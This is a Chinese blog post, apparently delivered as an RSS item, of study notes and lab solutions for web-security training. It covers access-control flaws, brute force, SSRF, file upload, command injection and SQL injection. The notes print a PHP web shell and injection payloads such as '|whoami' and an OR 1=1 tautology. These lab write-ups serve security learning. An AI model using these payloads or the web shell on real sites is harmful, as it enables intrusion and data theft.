&lt;li&gt;身份验证：确认用户是否为其声称的身份（即 “验明正身”）。&lt;/li&gt;
&lt;li&gt;会话管理：识别后续哪些 HTTP 请求来自同一用户。&lt;/li&gt;
&lt;li&gt;访问控制：判定该用户是否被允许执行其尝试的操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;访问控制失效（Broken Access Controls）是常见且通常具有严重危害的安全漏洞。访问控制的设计与管理是一个复杂的动态问题 —— 需将业务、组织及合规约束融入技术实现中。由于访问控制的设计决策需人工制定，因此出错风险较高。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;垂直权限提升
&lt;ul&gt;
&lt;li&gt;若用户能够访问其无权限访问的功能，则构成垂直权限提升。例如，非管理员用户若能访问可删除用户账户的管理页面，即属于垂直权限提升。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;未受保护的路径&#34;&gt;未受保护的路径
&lt;/h3&gt;&lt;p&gt;最基础的纵向越权，源于应用对敏感功能完全未加保护。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;举例：某网站的敏感功能（如&lt;code&gt;https://insecure-website.com/admin&lt;/code&gt;），可能被所有用户访问，而非仅限管理员。这类管理 URL 可能通过&lt;code&gt;robots.txt&lt;/code&gt;等途径泄露，即便未公开，攻击者也可能用字典攻击猜解到位置。&lt;/li&gt;
&lt;li&gt;可能通过 js 代码泄露&lt;/li&gt;
&lt;li&gt;判定是否为管理员的参数在路径里
&lt;ul&gt;
&lt;li&gt;或者 cookie 等地方&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Lab1&lt;/strong&gt; robots.txt 泄露&lt;/p&gt;
&lt;p&gt;先看下 /robot&lt;strong&gt;s&lt;/strong&gt;.txt，找到不可访问的路径，访问即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab2&lt;/strong&gt; js 泄露&lt;/p&gt;
&lt;p&gt;看 js 代码，找到泄露的路径&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab3&lt;/strong&gt; cookie 泄露&lt;/p&gt;
&lt;p&gt;进到 /login,发现不能注册。进到 /admin,发现不是管理员看不了。回到 /login 随便填，抓包看一下，发现 cookie 里泄露了 &lt;code&gt;Admin = false&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不知道哪里出了问题，没有看到 cookie 里有 Admin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;水平越权&#34;&gt;水平越权
&lt;/h3&gt;&lt;p&gt;发生在某用户能违规读取其他用户的信息时&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; userid 泄露&lt;/p&gt;
&lt;p&gt;在 user 的 blog 路径中可以看到 uid，然后在 myaccount 的地址中更换 uid 即可。&lt;/p&gt;
&lt;h3 id=&#34;垂直越权&#34;&gt;垂直越权
&lt;/h3&gt;&lt;p&gt;用户可以通过更改已知路径，从而访问、修改 admin 的信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; 访问 admin&lt;/p&gt;
&lt;p&gt;其实是 administrator……&lt;/p&gt;
&lt;p&gt;登录已有账号后，抓包主页，改 id 为 administrator，就可以看到回显的密码，登录即可。&lt;/p&gt;
&lt;h2 id=&#34;身份验证漏洞&#34;&gt;身份验证漏洞
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;身份验证是确认用户身份真实性的过程。授权则涉及验证用户是否被允许执行特定操作。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;暴力破解&#34;&gt;暴力破解
&lt;/h3&gt;&lt;p&gt;暴力破解并非总是单纯地对用户名和密码进行完全随机的猜测。攻击者还能&lt;strong&gt;结合基本逻辑或公开可得的知识&lt;/strong&gt;，对暴力破解攻击进行精细调整，从而做出更具&lt;strong&gt;针对性的猜测&lt;/strong&gt;。只有密码认证的网站容易被如此攻击。&lt;/p&gt;
&lt;p&gt;可以看 user 的主页，抓包的返回信息等内容；可以通过已知的用户名来枚举未知用户名；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt;1 Intruder 的使用&lt;/p&gt;
&lt;p&gt;题目给了 username 和 password，直接用 intruder 爆破就可以了。&lt;/p&gt;
&lt;p&gt;Tips：非必要情况下，先用 Sniper 限定范围效率更高。&lt;/p&gt;
&lt;p&gt;这里补充一下 intruder 的模式：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;需求场景&lt;/th&gt;
          &lt;th&gt;选哪个模式&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;测多个参数，逐个参数灌 Payload&lt;/td&gt;
          &lt;td&gt;Sniper&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;多个参数同时灌&lt;strong&gt;相同&lt;/strong&gt; Payload&lt;/td&gt;
          &lt;td&gt;Battering ram&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;多个参数一一&lt;strong&gt;对应灌不同&lt;/strong&gt; Payload&lt;/td&gt;
          &lt;td&gt;Pitchfork&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;多个参数的 Payload &lt;strong&gt;全组合&lt;/strong&gt;测试&lt;/td&gt;
          &lt;td&gt;Cluster bomb&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Lab2&lt;/strong&gt; 二次验证无效&lt;/p&gt;
&lt;p&gt;比较奇怪的题，没有想到二次认证是没用的……登录已给的账户后，可以在邮箱中接收到验证码，然后登录。记下 URL，然后登录另一个给的账号（没有给邮箱），在验证界面直接跳转 URL，就可以到主页了。限制条件有点多，没什么用？&lt;/p&gt;
&lt;h2 id=&#34;ssrf-服务端请求伪造&#34;&gt;SSRF 服务端请求伪造
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;服务器端请求伪造是一种网络安全漏洞，允许攻击者诱使服务器端应用程序向非预期位置发送请求。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可能会被用来对内网服务发送请求，导致信息泄露。&lt;/p&gt;
&lt;p&gt;比如本来用于请求后端指定信息的 URL：&lt;code&gt;stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1&lt;/code&gt; ，可以被利用为 &lt;code&gt;stockApi=http://localhost/admin&lt;/code&gt; ,由于是内网发出的请求，所以不会被按规则拦截。&lt;/p&gt;
&lt;p&gt;漏洞成因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;访问控制为额外组件，对后端请求不做拦截&lt;/li&gt;
&lt;li&gt;为 admin 的遗失留后门，所有本地 user 都可以访问&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; SSRF&lt;/p&gt;
&lt;p&gt;先找注入点，在查询时，出现了 stockApi，改成 &lt;code&gt;http://localhost/admin&lt;/code&gt; 测试，成功，删除即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; 本地IP扫描&lt;/p&gt;
&lt;p&gt;还是上一题的注入点，但是本地的 admin IP 和 stockApi 的 IP 不同了，所以扫描 192.168.0.X:8080/admin,找到异常 IP&lt;/p&gt;
&lt;h2 id=&#34;文件上传&#34;&gt;文件上传
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;有时候上传一个文件本身已经很危险了，如果再加上让这个文件执行呢……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;漏洞成因：&lt;/p&gt;
&lt;p&gt;网站通常不会对用户上传文件完全无限制，但开发者所做的文件上传验证常存在缺陷或易被绕过：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;黑名单机制可能遗漏危险文件类型，或未考虑文件扩展名解析差异；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;依赖可被攻击者（通过Burp等工具）篡改的文件属性进行类型校验；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;验证措施在网站的多主机、多目录间应用不一致，存在可被利用的漏洞。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;WebShell：上传到网站上的，使攻击者获得几乎对网站所有控制权的文件，常见形式类似：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;?php echo system($_GET[&#39;command&#39;]); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Lab1&lt;/strong&gt; 普通的文件上传&lt;/p&gt;
&lt;p&gt;上传了 &lt;code&gt;&amp;lt;?php echo system($_GET[&#39;command&#39;]); ?&amp;gt;&lt;/code&gt; 后访问，改一下 cmd 读取密码就可以了。结果 echo + cat 了两遍……有回显时不需要外层的 echo。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab2&lt;/strong&gt; MIME 绕过&lt;/p&gt;
&lt;p&gt;改一下 MIME 类型就可以了&lt;/p&gt;
&lt;h2 id=&#34;命令注入&#34;&gt;命令注入
&lt;/h2&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;命令用途&lt;/th&gt;
          &lt;th&gt;Linux 命令&lt;/th&gt;
          &lt;th&gt;Windows 命令&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;当前用户名&lt;/td&gt;
          &lt;td&gt;whoami&lt;/td&gt;
          &lt;td&gt;whoami&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;操作系统信息&lt;/td&gt;
          &lt;td&gt;uname -a&lt;/td&gt;
          &lt;td&gt;ver&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;网络配置&lt;/td&gt;
          &lt;td&gt;ifconfig&lt;/td&gt;
          &lt;td&gt;ipconfig /all&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;网络连接情况&lt;/td&gt;
          &lt;td&gt;netstat -an&lt;/td&gt;
          &lt;td&gt;netstat -an&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;正在运行的进程&lt;/td&gt;
          &lt;td&gt;ps -ef&lt;/td&gt;
          &lt;td&gt;tasklist&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;在注入的命令后添加额外的命令分隔符 &lt;code&gt;&amp;amp;&lt;/code&gt; 很有用，因为它能将注入的命令与注入点之后的内容分开，用于测试注入点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; 命令注入&lt;/p&gt;
&lt;p&gt;找到的注入点是 &lt;code&gt;productId=2&amp;amp;storeId=1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先尝试最常用的命令分隔符，优先级一般是：&lt;code&gt;|&lt;/code&gt; &amp;gt; &lt;code&gt;;&lt;/code&gt; &amp;gt; &lt;code&gt;&amp;amp;&lt;/code&gt; &amp;gt; &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; &amp;gt; &lt;code&gt;||&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;于是 payload 为：&lt;code&gt;productId=2&amp;amp;storeId=1|whoami&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;sql注入&#34;&gt;SQL注入
&lt;/h2&gt;&lt;p&gt;手动检测 SQL 注入，需对应用的每个输入点进行系统性测试，通常要提交这些内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单引号&lt;code&gt;&#39;&lt;/code&gt;，观察是否出现错误或异常；&lt;/li&gt;
&lt;li&gt;能让输入点返回原值 / 不同值的 SQL 语法，看应用响应是否有规律差异；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OR 1=1&lt;/code&gt;、&lt;code&gt;OR 1=2&lt;/code&gt;这类布尔条件，观察响应变化；&lt;/li&gt;
&lt;li&gt;会触发 SQL 查询延迟的载荷，对比响应耗时差异；&lt;/li&gt;
&lt;li&gt;能触发带外网络交互的 OAST 载荷，同时监控交互情况。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;另外，用 Burp Scanner 可以快速、可靠地发现大部分 SQL 注入漏洞。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--&lt;/code&gt; 是注释符，后面的语句会被省略&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用 &lt;code&gt;OR 1=1&lt;/code&gt; 时要小心，如果时删除或更新语句，会造成觉察不到的错误。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; SQL闭合&lt;/p&gt;
&lt;p&gt;题目给的语句：&lt;code&gt;SELECT * FROM products WHERE category = &#39;Gifts&#39; AND released = 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注入点：&lt;code&gt;/filter?category=Clothing%2c+shoes+and+accessories&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先把查询的拼进去，就是：&lt;code&gt;...WHERE category = &#39;Clothing &amp;lt;...&amp;gt;&#39; AND released = 1 &lt;/code&gt; ,然后再想怎么注入。&lt;/p&gt;
&lt;p&gt;把引号闭合，再把后面的 and 注释掉，payload 为：&lt;code&gt;&#39;+OR+1=1--&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 URL 中，&lt;strong&gt;空格&lt;/strong&gt;不能直接传输（会被解析为参数分隔符），因此需要用&lt;code&gt;+&lt;/code&gt;或&lt;code&gt;%20&lt;/code&gt;做 URL 编码，后端接收到后会自动解码为空格。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt; 用户名-密码校验&lt;/p&gt;
&lt;p&gt;password payload:&lt;code&gt;&#39; OR 1=1--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注意，如果要注入在 username 的话，也可以&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
